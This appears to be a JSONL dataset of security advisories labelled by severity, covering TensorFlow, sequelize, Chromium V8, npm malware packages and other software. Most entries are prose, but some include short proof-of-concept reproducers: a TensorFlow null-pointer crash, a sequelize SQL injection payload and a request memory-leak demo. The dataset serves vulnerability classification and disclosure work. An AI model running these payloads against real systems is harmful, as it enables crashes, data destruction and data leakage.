-{"id": "a2f0d98cf7a5b3aa1c7c", "text": "Incorrect validation of `SaveV2` inputs\n\n### Impact\nThe code for `tf.raw_ops.SaveV2` does not properly validate the inputs and an attacker can trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SaveV2(\n  prefix=['tensorflow'],\n  tensor_name=['v'],\n  shape_and_slices=[],\n  tensors=[1,2,3])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/save_restore_v2_ops.cc) uses `ValidateInputs` to  check that the input arguments are valid. This validation would have caught the illegal state represented by the reproducer  above.\n\nHowever, the validation uses `OP_REQUIRES` which translates to setting the `Status` object of the current `OpKernelContext` to an error status, followed by an empty `return` statement which just terminates the execution of the function it is present in. However, this does not mean that the kernel execution is finalized: instead, execution continues from the next line in `Compute` that follows the call to `ValidateInputs`. This is equivalent to lacking the validation.\n\n### Patches\nWe have patched the issue in GitHub commit [9728c60e136912a12d99ca56e106b7cce7af5986](https://github.com/tensorflow/tensorflow/commit/9728c60e136912a12d99ca56e106b7cce7af5986).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Incorrect validation of `SaveV2` inputs\n\n[Severity: HIGH]\n\n### Impact\nThe code for `tf.raw_ops.SaveV2` does not properly validate the inputs and an attacker can trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SaveV2(\n  prefix=['tensorflow'],\n  tensor_name=['v'],\n  shape_and_slices=[],\n  tensors=[1,2,3])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/save_restore_v2_ops.cc) uses `ValidateInputs` to  check that the input arguments are valid. This validation would have caught the illegal state represented by the reproducer  above.\n\nHowever, the validation uses `OP_REQUIRES` which translates to setting the `Status` object of the current `OpKernelContext` to an error status, followed by an empty `return` statement which just terminates the execution of the function it is present in. However, this does not mean that the kernel execution is finalized: instead, execution continues from the next line in `Compute` that follows the call to `ValidateInputs`. This is equivalent to lacking the validation.\n      \n### Patches\nWe have patched the issue in GitHub commit [9728c60e136912a12d99ca56e106b7cce7af5986](https://github.com/tensorflow/tensorflow/commit/9728c60e136912a12d99ca56e106b7cce7af5986).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.                                                                                                                                                                                                                                               \n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8d0f6dd003a300081acb", "text": "Google Chromium V8 Memory Corruption Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine has a bug in JSON.stringify, where the internal TheHole value can leak to script code, causing memory corruption. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122, CWE-755\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium V8 Memory Corruption Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine has a bug in JSON.stringify, where the internal TheHole value can leak to script code, causing memory corruption. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122, CWE-755\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1804d4194c0241d06d7f", "text": "Malicious Package in bitcionjslib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcionjslib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "ad5113e24098e7f8af57", "text": "ExifTool Remote Code Execution Vulnerability\n\nAffected: Perl Exiftool\n\nImproper neutralization of user data in the DjVu file format in Exiftool versions 7.44 and up allows arbitrary code execution when parsing the malicious image\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-95\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "ExifTool Remote Code Execution Vulnerability\n\nAffected: Perl Exiftool\n\nImproper neutralization of user data in the DjVu file format in Exiftool versions 7.44 and up allows arbitrary code execution when parsing the malicious image\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-95\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-17", "split": "train"}
-{"id": "81bf4601991ba381a154", "text": "Exposure of Resource to Wrong Sphere in org.craftercms:crafter-search\n\nInstallations, where crafter-search is not protected, allow unauthenticated remote attackers to create, view, and delete search indexes.", "text_raw": "Exposure of Resource to Wrong Sphere in org.craftercms:crafter-search\n\n[Severity: CRITICAL]\n\nInstallations, where crafter-search is not protected, allow unauthenticated remote attackers to create, view, and delete search indexes.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "2e4e7f249dde608ad88a", "text": "XML external entity (XXE) processing ('external-parameter-entities' feature was not fully disabled))\n\nDue to an incomplete fix for [CVE-2019-9658](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9658), checkstyle was still vulnerable to XML External Entity (XXE) Processing.\n\n### Impact\n\n#### User: Build Maintainers\n\nThis vulnerability probably doesn't impact Maven/Gradle users as, in most cases, these builds are processing files that are trusted, or pre-vetted by a pull request reviewer before being run on internal CI infrastructure.\n\n#### User: Static Analysis as a Service\n\nIf you operate a site/service that parses \"untrusted\" Checkstyle XML configuration files, you are vulnerable to this and should patch.\n\nNote from the discoverer of the original CVE-2019-9658:\n\n> While looking at a few companies that run Checkstyle/PMD/ect... as a service I notice that it's a common pattern to run the static code analysis tool inside of a Docker container with the following flags:\n> ```\n> --net=none \\\n> --privileged=false \\\n> --cap-drop=ALL\n> ```\n> Running the analysis in Docker has the advantage that there should be no sensitive local file information that XXE can exfiltrate from the container. Additionally, these flags prevent vulnerabilities in static analysis tools like Checkstyle from being used to exfiltrate data via XXE or to perform SSRF.\n> \\- [Jonathan Leitschuh](https://twitter.com/jlleitschuh)\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched, will be released with version 8.29 at 26 Jan 2020.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nNo workaround are available\n\n### References\n\n- [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n - GitHub Issue https://github.com/checkstyle/checkstyle/issues/7468\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/checkstyle/checkstyle/issues", "text_raw": "XML external entity (XXE) processing ('external-parameter-entities' feature was not fully disabled))\n\n[Severity: MEDIUM]\n\nDue to an incomplete fix for [CVE-2019-9658](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9658), checkstyle was still vulnerable to XML External Entity (XXE) Processing.\n\n### Impact\n\n#### User: Build Maintainers\n\nThis vulnerability probably doesn't impact Maven/Gradle users as, in most cases, these builds are processing files that are trusted, or pre-vetted by a pull request reviewer before being run on internal CI infrastructure.\n\n#### User: Static Analysis as a Service\n\nIf you operate a site/service that parses \"untrusted\" Checkstyle XML configuration files, you are vulnerable to this and should patch.\n\nNote from the discoverer of the original CVE-2019-9658:\n\n> While looking at a few companies that run Checkstyle/PMD/ect... as a service I notice that it's a common pattern to run the static code analysis tool inside of a Docker container with the following flags:\n> ```\n> --net=none \\\n> --privileged=false \\\n> --cap-drop=ALL\n> ```\n> Running the analysis in Docker has the advantage that there should be no sensitive local file information that XXE can exfiltrate from the container. Additionally, these flags prevent vulnerabilities in static analysis tools like Checkstyle from being used to exfiltrate data via XXE or to perform SSRF.\n> \\- [Jonathan Leitschuh](https://twitter.com/jlleitschuh)\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched, will be released with version 8.29 at 26 Jan 2020.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nNo workaround are available\n\n### References\n\n - [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n - GitHub Issue https://github.com/checkstyle/checkstyle/issues/7468\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/checkstyle/checkstyle/issues\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-31", "split": "train"}
-{"id": "e6e633559aee7d5ab7cb", "text": "Timing attacks in python-rsa\n\nIt was found that python-rsa is vulnerable to Bleichenbacher timing attacks. An attacker can use this flaw via the RSA decryption API to decrypt parts of the cipher text encrypted with RSA", "text_raw": "Timing attacks in python-rsa\n\n[Severity: HIGH]\n\nIt was found that python-rsa is vulnerable to Bleichenbacher timing attacks. An attacker can use this flaw via the RSA decryption API to decrypt parts of the cipher text encrypted with RSA", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "c6efcb855f9b5b40eb60", "text": "rest-client Gem Vulnerable to Session Fixation\n\nREST client for Ruby (aka rest-client) versions 1.6.1.a until 1.8.0 allow remote attackers to conduct session fixation attacks or obtain sensitive cookie information by leveraging passage of cookies set in a response to a redirect.", "text_raw": "rest-client Gem Vulnerable to Session Fixation\n\n[Severity: CRITICAL]\n\nREST client for Ruby (aka rest-client) versions 1.6.1.a until 1.8.0 allow remote attackers to conduct session fixation attacks or obtain sensitive cookie information by leveraging passage of cookies set in a response to a redirect.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "3f865d71b0a638492a53", "text": "Exposure of sensitive information to an unauthorized actor in HyperKitty\n\nAn issue was discovered in management/commands/hyperkitty_import.py in HyperKitty prior to 1.3.5. When importing a private mailing list's archives, these archives are publicly visible for the duration of the import. For example, sensitive information might be available on the web for an hour during a large migration from Mailman 2 to Mailman 3.", "text_raw": "Exposure of sensitive information to an unauthorized actor in HyperKitty\n\n[Severity: HIGH]\n\nAn issue was discovered in management/commands/hyperkitty_import.py in HyperKitty prior to 1.3.5. When importing a private mailing list's archives, these archives are publicly visible for the duration of the import. For example, sensitive information might be available on the web for an hour during a large migration from Mailman 2 to Mailman 3.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "2742420d4e8de3229372", "text": "OS Command Injection in baserCMS\n\nbaserCMS versions prior to 4.4.5 allows a remote attacker with an administrative privilege to execute arbitrary OS commands via upload of malicious plugins.", "text_raw": "OS Command Injection in baserCMS\n\n[Severity: HIGH]\n\nbaserCMS versions prior to 4.4.5 allows a remote attacker with an administrative privilege to execute arbitrary OS commands via upload of malicious plugins.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "ce0d2ee911a088de8fb1", "text": "SQL Injection in sequelize\n\nAffected versions of `sequelize` are vulnerable to SQL Injection. The function `sequelize.json()` incorrectly formatted sub paths for JSON queries, which allows attackers to inject SQL statements and execute arbitrary SQL queries if user input is passed to the query.  Exploitation example:\n\n```js\nreturn User.findAll({\n  where: this.sequelize.json(\"data.id')) AS DECIMAL) = 1 DELETE YOLO INJECTIONS; -- \", 1)\n});\n```\n\n## Recommendation\n\nIf you are using `sequelize` 5.x, upgrade to version 5.15.1 or later.\nIf you are using `sequelize` 4.x, upgrade to version 4.44.3 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: CRITICAL]\n\nAffected versions of `sequelize` are vulnerable to SQL Injection. The function `sequelize.json()` incorrectly formatted sub paths for JSON queries, which allows attackers to inject SQL statements and execute arbitrary SQL queries if user input is passed to the query.  Exploitation example:  \n\n```js\nreturn User.findAll({\n  where: this.sequelize.json(\"data.id')) AS DECIMAL) = 1 DELETE YOLO INJECTIONS; -- \", 1)\n});\n```\n\n\n## Recommendation\n\nIf you are using `sequelize` 5.x, upgrade to version 5.15.1 or later.\nIf you are using `sequelize` 4.x, upgrade to version 4.44.3 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-25", "split": "train"}
-{"id": "e77f48c1efaae2f61c65", "text": "Cross-Site Scripting in swagger-ui\n\nVersions of `swagger-ui` prior to 3.20.9 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize URLs used in the OAuth auth flow, which may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 3.20.9 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: MEDIUM]\n\nVersions of `swagger-ui` prior to 3.20.9 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize URLs used in the OAuth auth flow, which may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 3.20.9 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "be0ca464f880579294fe", "text": "Cross-Site Request Forgery in Jenkins Credentials Plugin\n\nJenkins Credentials Plugin prior to 2.3.19, 2.3.15.1, 2.3.14.1, 2.3.13.1, 2.3.7.1, and 2.3.0.1 does not escape user-controlled information on a view it provides, resulting in a reflected cross-site scripting (XSS) vulnerability.\n\nJenkins Credentials Plugin 2.3.19, 2.3.15.1, 2.3.14.1, 2.3.13.1, 2.3.7.1, and 2.3.0.1 restricts the user-controlled information it provides to a safe subset.", "text_raw": "Cross-Site Request Forgery in Jenkins Credentials Plugin\n\n[Severity: MEDIUM]\n\nJenkins Credentials Plugin prior to 2.3.19, 2.3.15.1, 2.3.14.1, 2.3.13.1, 2.3.7.1, and 2.3.0.1 does not escape user-controlled information on a view it provides, resulting in a reflected cross-site scripting (XSS) vulnerability.\n\nJenkins Credentials Plugin 2.3.19, 2.3.15.1, 2.3.14.1, 2.3.13.1, 2.3.7.1, and 2.3.0.1 restricts the user-controlled information it provides to a safe subset.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "5b4a1bcfd648a3e58a8b", "text": "Active Record allows bypassing of database-query restrictions\n\nRuby on Rails 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request, as demonstrated by certain \"[nil]\" values, a related issue to CVE-2012-2660 and CVE-2012-2694.", "text_raw": "Active Record allows bypassing of database-query restrictions\n\n[Severity: MEDIUM]\n\nRuby on Rails 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request, as demonstrated by certain \"[nil]\" values, a related issue to CVE-2012-2660 and CVE-2012-2694.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "207e048b5dddb1113728", "text": "Improper Input Validation in actionpack\n\nRuby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify tokens for requests with certain content types, which allows remote attackers to bypass cross-site request forgery (CSRF) protection for requests to applications that rely on this protection, as demonstrated using text/plain.", "text_raw": "Improper Input Validation in actionpack\n\n[Severity: MEDIUM]\n\nRuby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify tokens for requests with certain content types, which allows remote attackers to bypass cross-site request forgery (CSRF) protection for requests to applications that rely on this protection, as demonstrated using text/plain.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8ea99361dc1a39fedaad", "text": "Docker Desktop Community Edition Privilege Escalation Vulnerability\n\nAffected: Docker Desktop Community Edition\n\nDocker Desktop Community Edition contains a vulnerability that may allow local users to escalate privileges by placing a trojan horse docker-credential-wincred.exe file in %PROGRAMDATA%\\DockerDesktop\\version-bin\\.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-732\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Docker Desktop Community Edition Privilege Escalation Vulnerability\n\nAffected: Docker Desktop Community Edition\n\nDocker Desktop Community Edition contains a vulnerability that may allow local users to escalate privileges by placing a trojan horse docker-credential-wincred.exe file in %PROGRAMDATA%\\DockerDesktop\\version-bin\\.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-732\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "20f934e89b888fb9b0bc", "text": "Incorrect Access Control vulnerability in api-platform/core\n\nAPI Platform version from 2.2.0 to 2.3.5 contains an Incorrect Access Control vulnerability in GraphQL delete mutations that can result in a user authorized to delete a resource can delete any resource. This attack appears to be exploitable via the user must be authorized. This vulnerability appears to have been fixed in 2.3.6.", "text_raw": "Incorrect Access Control vulnerability in api-platform/core\n\n[Severity: MEDIUM]\n\nAPI Platform version from 2.2.0 to 2.3.5 contains an Incorrect Access Control vulnerability in GraphQL delete mutations that can result in a user authorized to delete a resource can delete any resource. This attack appears to be exploitable via the user must be authorized. This vulnerability appears to have been fixed in 2.3.6.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-14", "split": "train"}
-{"id": "bcec2317dc5b781fac81", "text": "Cross-Site Scripting in scratch-svg-renderer\n\nThis affects the package scratch-svg-renderer before 0.2.0-prerelease.20201019174008. The loadString function does not escape SVG properly, which can be used to inject arbitrary elements into the DOM via the _transformMeasurements function.", "text_raw": "Cross-Site Scripting in scratch-svg-renderer\n\n[Severity: HIGH]\n\nThis affects the package scratch-svg-renderer before 0.2.0-prerelease.20201019174008. The loadString function does not escape SVG properly, which can be used to inject arbitrary elements into the DOM via the _transformMeasurements function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-09", "split": "train"}
-{"id": "773010a7e672d3228f92", "text": "Server-Side Request Forgery in ssrf-agent\n\nThe package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.", "text_raw": "Server-Side Request Forgery in ssrf-agent\n\n[Severity: MEDIUM]\n\nThe package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "946638e1097a6667e4b8", "text": "Got All Media 7.0.0.3 (t00t) Remote Denial of Service Exploit", "text_raw": "Got All Media 7.0.0.3 (t00t) Remote Denial of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-02-20", "split": "train"}
-{"id": "4ce41e4dcdffc2bf3010", "text": "OS command injection in aws-lambda\n\nIn aws-lambda versions prior to version 1.0.5, the \"config.FunctioName\" is used to construct the argument used within the \"exec\" function without any sanitization. It is possible for a user to inject arbitrary commands to the \"zipCmd\" used within \"config.FunctionName\".", "text_raw": "OS command injection in aws-lambda\n\n[Severity: CRITICAL]\n\nIn aws-lambda versions prior to version 1.0.5, the \"config.FunctioName\" is used to construct the argument used within the \"exec\" function without any sanitization. It is possible for a user to inject arbitrary commands to the \"zipCmd\" used within \"config.FunctionName\".", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-14", "split": "train"}
-{"id": "1468ba32316c3c0638f3", "text": "Malicious Package in hulp\n\nAll versions of `hulp` contain malicious code as a preinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in hulp\n\n[Severity: CRITICAL]\n\nAll versions of `hulp` contain malicious code as a preinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "c0ee09c7fc96b64dcc54", "text": "Apple macOS Unspecified Vulnerability\n\nAffected: Apple macOS\n\nApple macOS Transparency, Consent, and Control (TCC) contains an unspecified permissions issue which may allow a malicious application to bypass privacy preferences.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-862\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple macOS Unspecified Vulnerability\n\nAffected: Apple macOS\n\nApple macOS Transparency, Consent, and Control (TCC) contains an unspecified permissions issue which may allow a malicious application to bypass privacy preferences.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-862\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "563c73bf8836d279824f", "text": "Path Traversal in @wturyn/swagger-injector\n\nAll versions of `@wturyn/swagger-injector` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the configured `dist` folder using relative paths.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Path Traversal in @wturyn/swagger-injector\n\n[Severity: CRITICAL]\n\nAll versions of `@wturyn/swagger-injector` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the configured `dist` folder using relative paths.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "439a6e90bd78a6880822", "text": "Remote Memory Exposure in request\n\nAffected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.\n\n## Proof of Concept\n\n```js\nvar request = require('request');\nvar http = require('http');\n\nvar serveFunction = function (req, res){\n\treq.on('data', function (data) {\n            console.log(data)\n        });\n\tres.end();\n};\nvar server = http.createServer(serveFunction);\nserver.listen(8000);\n\nrequest({\n\tmethod: \"POST\",\n\turi: 'http://localhost:8000',\n\tmultipart: [{body:500}]\n},function(err,res,body){});\n```\n\n## Recommendation\n\nUpdate to version 2.68.0 or later", "text_raw": "Remote Memory Exposure in request\n\n[Severity: MEDIUM]\n\nAffected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.\n\n## Proof of Concept\n\n```js\nvar request = require('request');\nvar http = require('http');\n\nvar serveFunction = function (req, res){\n\treq.on('data', function (data) {\n            console.log(data)\n        });\n\tres.end();\n};\nvar server = http.createServer(serveFunction);\nserver.listen(8000);\n\nrequest({\n\tmethod: \"POST\",\n\turi: 'http://localhost:8000',\n\tmultipart: [{body:500}]\n},function(err,res,body){});\n```\n\n\n## Recommendation\n\nUpdate to version 2.68.0 or later", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "ac1e5df1bb2d9815e718", "text": "GitLab Community and Enterprise Editions Remote Code Execution Vulnerability\n\nAffected: GitLab Community and Enterprise Editions\n\nGitHub Community and Enterprise Editions that utilize the ability to upload images through GitLab Workhorse are vulnerable to remote code execution. Workhorse passes image file extensions through ExifTool, which improperly validates the image files.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-95\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "GitLab Community and Enterprise Editions Remote Code Execution Vulnerability\n\nAffected: GitLab Community and Enterprise Editions\n\nGitHub Community and Enterprise Editions that utilize the ability to upload images through GitLab Workhorse are vulnerable to remote code execution. Workhorse passes image file extensions through ExifTool, which improperly validates the image files.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-95\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "89f57d391e9158662652", "text": "Doorkeeper-openid_connect contains Open Redirect\n\nDoorkeeper::OpenidConnect (aka the OpenID Connect extension for Doorkeeper) 1.4.x and 1.5.x before 1.5.4 has an open redirect via the redirect_uri field in an OAuth authorization request (that results in an error response) with the 'openid' scope and a prompt=none value. This allows phishing attacks against the authorization flow.", "text_raw": "Doorkeeper-openid_connect contains Open Redirect\n\n[Severity: MEDIUM]\n\nDoorkeeper::OpenidConnect (aka the OpenID Connect extension for Doorkeeper) 1.4.x and 1.5.x before 1.5.4 has an open redirect via the redirect_uri field in an OAuth authorization request (that results in an error response) with the 'openid' scope and a prompt=none value. This allows phishing attacks against the authorization flow.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "82ecd41145042ddae4fd", "text": "A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0592.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0592.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "2014ec9a847225bee8b0", "text": "TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability", "text_raw": "TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-09-18", "split": "train"}
-{"id": "8938b047010620f1e50f", "text": "Cross-Site Scripting in node-red\n\nVersions of `node-red` prior to 0.20.8are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize the `name` field in new Flows, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nUpgrade to version 0.18.6 or later.", "text_raw": "Cross-Site Scripting in node-red\n\n[Severity: MEDIUM]\n\nVersions of `node-red` prior to 0.20.8are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize the `name` field in new Flows, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 0.18.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "a0095ac12dfde787a673", "text": "Native Instruments Traktor Pro 1.2.6 Stack-based Buffer Overflow Vulnerability", "text_raw": "Native Instruments Traktor Pro 1.2.6 Stack-based Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "055fd6a6d8d335581789", "text": "Command Injection in dns-sync\n\nAffected versions of `dns-sync` have an arbitrary command execution vulnerability in the `resolve()` method.\n\n## Recommendation\n\n- Use an alternative dns resolver\n- Do not allow untrusted input into `dns-sync.resolve()`", "text_raw": "Command Injection in dns-sync\n\n[Severity: CRITICAL]\n\nAffected versions of `dns-sync` have an arbitrary command execution vulnerability in the `resolve()` method. \n\n\n\n## Recommendation\n\n- Use an alternative dns resolver\n- Do not allow untrusted input into `dns-sync.resolve()`", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
